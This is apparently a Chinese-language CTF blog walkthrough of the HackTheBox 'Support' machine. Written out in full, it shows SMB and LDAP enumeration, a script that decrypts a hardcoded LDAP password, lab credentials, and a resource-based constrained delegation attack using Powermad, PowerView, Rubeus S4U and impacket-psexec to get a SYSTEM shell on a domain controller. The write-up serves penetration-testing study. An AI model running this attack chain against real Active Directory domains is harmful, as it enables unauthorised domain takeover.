HTB-Support

本文最后更新于 2025年4月25日 下午

SMB 文件共享,dnSpy 逆向分析,LDAP 信息收集,Neo4j+BloodHound 查看域关系图,RBCD 攻击

nmap 端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
└─# nmap -sS -sV -A -Pn 10.10.11.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 20:52 CST
Nmap scan report for 10.10.11.174
Host is up (1.9s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-18 12:58:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-04-18T13:01:02
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 0.39 ms butt3rf1y.mshome.net (172.30.144.1)
2 3761.06 ms 10.10.16.1
3 3761.11 ms 10.10.11.174

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 603.02 seconds

扫出来这么多,由扫描结果得知这是一个 AD 的 DC 服务器,有一个 support.htb

枚举 DNS

所以接下来用 dig 来查询一下 DNS

1
dig @10.10.11.174 support.htb any +short
image-20250419021620899

扫出的结果确认了服务器的名称为 dc,域名为 support.htb

利用 SMB 获取文件

开放了 445 端口,连接查看有无有用信息

1
2
3
4
5
6
7
8
9
10
11
12
13
└─# smbclient -N -L //10.10.11.174

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

有一个 support-tools,里面有一些压缩文件和 .exe 文件

1
2
3
4
5
6
7
8
9
10
11
12
smb: \> ls
. D 0 Thu Jul 21 01:01:06 2022
.. D 0 Sat May 28 19:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 19:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 19:19:55 2022
putty.exe A 1273576 Sat May 28 19:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 19:19:31 2022
UserInfo.exe.zip A 277499 Thu Jul 21 01:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 19:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 19:19:43 2022

4026367 blocks of size 4096. 955496 blocks available

将可疑的 UserInfo.exe.zip 解压

image-20250418221658147

file 命令查看发现是 .Net 文件,那么用 dnSpy 去反编译它

image-20250418221918624

dnSpy 逆向分析获取 LDAP 密码

定位到 UserInfo Services 下的 LdapQuery 构造函数

getPassword() 中获取密码以用户名 support\\ldap 连接 LDAP://support.htb 进行查询

跟进 getPassword() 方法

image-20250418230241205

明文 先 base64 加密然后与 223 异或,key 为 armando,因此解密脚本如下

1
2
3
4
5
6
7
8
import base64
enc_passwd = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
result = ''
for i in range(len(enc_passwd)):
result += chr(enc_passwd[i] ^ key[i % len(key)] ^ 223)

print(result)

解出来一串字符串,应该就是密码

1
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

ldapsearch 扫描查找信息

那接下来就该看 LDAP 的信息了,389 端口运行了 LDAP 服务,我们已经知道了密码,那么用 ldapsearch 来查询相关信息

1
ldapsearch -x -H ldap://10.10.11.174:389 -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb"
image-20250419032724205

浏览信息览发现了 support 用户的 info 字段

1
info: Ironside47pleasure40Watchful

其他的用户 info 字段都是空的,所以这看起来就很可疑,可能是密码之类的

当成密码用 Evil-winrm 登录

1
evil-winrm -i 10.10.11.174 -u "support" -p 'Ironside47pleasure40Watchful'
image-20250419033847918

拿到 flag

对域进行信息收集

使用 Get-ADDomain 查看域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
*Evil-WinRM* PS C:\Users\support\Desktop> Get-ADDomain


AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=support,DC=htb
DeletedObjectsContainer : CN=Deleted Objects,DC=support,DC=htb
DistinguishedName : DC=support,DC=htb
DNSRoot : support.htb
DomainControllersContainer : OU=Domain Controllers,DC=support,DC=htb
DomainMode : Windows2016Domain
DomainSID : S-1-5-21-1677581083-3380853377-188903654
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=support,DC=htb
Forest : support.htb
InfrastructureMaster : dc.support.htb
LastLogonReplicationInterval :
LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=support,DC=htb}
LostAndFoundContainer : CN=LostAndFound,DC=support,DC=htb
ManagedBy :
Name : support
NetBIOSName : SUPPORT
ObjectClass : domainDNS
ObjectGUID : 553cd9a3-86c4-4d64-9e85-5146a98c868e
ParentDomain :
PDCEmulator : dc.support.htb
PublicKeyRequiredPasswordRolling : True
QuotasContainer : CN=NTDS Quotas,DC=support,DC=htb
ReadOnlyReplicaDirectoryServers : {}
ReplicaDirectoryServers : {dc.support.htb}
RIDMaster : dc.support.htb
SubordinateReferences : {DC=ForestDnsZones,DC=support,DC=htb, DC=DomainDnsZones,DC=support,DC=htb, CN=Configuration,DC=support,DC=htb}
SystemsContainer : CN=System,DC=support,DC=htb
UsersContainer : CN=Users,DC=support,DC=htb

从中可以发现这台机器是域 support.htb 的域控制器,把它加入本地 host

通过 whoami 查看所属用户组

1
whoami /groups
image-20250419035926121

上传 SharpHound 枚举 AD 信息

开放了 88 端口,上传 SharpHound 进行域内的信息收集

1
.\SharpHound.exe --CollectionMethods All --Domain support.htb --ExcludeDCs
image-20250420221631033

将文件下载到本地

image-20250420222112263

开启 Neo4j 图形数据库

image-20250420232256130

开启 Neo4j 然后访问

1
http://localhost:7474/browser

进去之后修改密码

BloodHound 查看域内关系

打开 BloodHound 用 Neo4j 的用户名和密码登陆进去

image-20250420232046478

将下载的有关 AD 域信息的压缩包导入,直接拖进去就行了

image-20250420232512337

查找 SUPPORT@SUPPORT.HTB 用户,在 Node InfoGroup Delegated Object Control 中发现 GenericAll 权限也就是完全控制权限,可以发现 SUPPORT@SUPPORT.HTB 属于 SHARED SUPPORT ACCOUNTS 组,该组对整个 DC 有完全控制权限

image-20250420234318895

右键 GenericAll 查看 help 的建议

image-20250420235056409

“Full control of a computer object can be used to perform a resource based constrained delegation attack.”

对计算机对象的完全控制可用于执行基于资源的约束委派攻击

image-20250420235357614

基于 kerberos 的 RBCD 攻击

RBCD 把设置委派的权限赋予了机器自身,即机器自己可以决定谁可以被委派来控制,也就是说机器自身可以直接在自己账户上配置 msds-allowedtoactonbehalfofotheridentity 属性来设置 RBCD,所以可以使用 Powermad 来添加新的攻击者控制的计算机帐户

攻击步骤:

  • 用 Powermad 添加一个新的攻击者控制的计算机账户

  • 用 PowerView 来获取新创建的计算机帐户的安全标识符 (SID)

  • 以新建的计算机账户的 SID 为委托建立一个通用 ACE,并获取新 DACL/ACE

  • 将 ACE 设置到目标计算机账户的委派属性中,将 $SDBytes 写入目标计算机账户的 msds-allowedtoactonbehalfofotheridentity 字段中

  • 使用 Rubeus 生成 hash 获取 TGT票据

  • 用带有 Kerberos 身份验证的 psexec 获取 SYSTEM shell

根据建议信息需要 PowerView、Powermad 和 Rubeus 三个工具,把这几个工具传上去

image-20250421003832988

利用 Powermad 创建新用户

导入 powermad.ps1 模块,然后创建一个 butt3rf1y 用户,密码为 123456,添加之后再进行验证

1
2
3
import-module .\powermad.ps1
New-MachineAccount -MachineAccount butt3rf1y -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
Get-ADComputer -identity butt3rf1y
image-20250421004439909

写入 msds-allowedtoactonbehalfofotheridentity 字段

导入 powerview.ps1 模块

获取新建计算机账户的 SID

1
$ComputerSid = Get-DomainComputer butt3rf1y -Properties objectsid | Select -Expand objectsid

创建 SD,正确的 SDDL(Security Descriptor Definition Language,安全描述符定义语言))字符串基本结构如下:

1
O:<OwnerSid>G:<GroupSid>D:<DACL>S:<SACL>

所以我们构造出来的字符串如下

1
O:BAD:(A;;GA;;;$($ComputerSid))

最终结果:

1
O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))

权限设置参考:SID StringsACE Strings

1
CC | DC | LC | SW | RP | WP | DT | LO | CR | SD | RC | WD | WO

$SDBytes 写入目标计算机账户的 msds-allowedtoactonbehalfofotheridentity 字段中

1
2
3
4
5
6
7
8
9
10
$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes,0)
// 将 $SD 的二进制数据写入 $SDBytes 数组中

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
// 将 $SDBytes 写入目标计算机账户的 msds-allowedtoactonbehalfofotheridentity 字段中

Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
// 验证是否成功修改
image-20250421212911714

Rubeus 进行 s4u 攻击获取服务票据

生成 rc4_hmac

1
.\Rubeus.exe hash /password:123456 /user:butt3rf1y$ /domain:support.htb
image-20250421220505217

rc4_hmac

1
32ED87BDB5FDC5E9CBA88547376818D4

生成 TGT 票据

1
.\Rubeus.exe s4u /user:butt3rf1y$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
image-20250421232725353

利用 psexec 获取 system shell

将最后的 administrator 的复制出来新建文件 TGT.b64,先转为 .kirbi 文件

1
tr -d '[:space:]' < TGT.b64 | base64 -d > TGT.kirbi

再转为 .ccache 文件(Kerberos 凭据缓存文件)

1
python3 ticketConverter.py TGT.kirbi TGT.ccache

更新 KRB5CCNAME 环境变量,指定 Kerberos 票据

1
export KRB5CCNAME=TGT.ccache

用带有 Kerberos 身份验证的 psexec 获取 SYSTEM shell

1
impacket-psexec support.htb/administrator@dc.support.htb -dc-ip 10.10.11.174 -k -no-pass
image-20250421233723004

HTB-Support
http://example.com/2025/04/25/HTB-Support/
作者
butt3rf1y
发布于
2025年4月25日
许可协议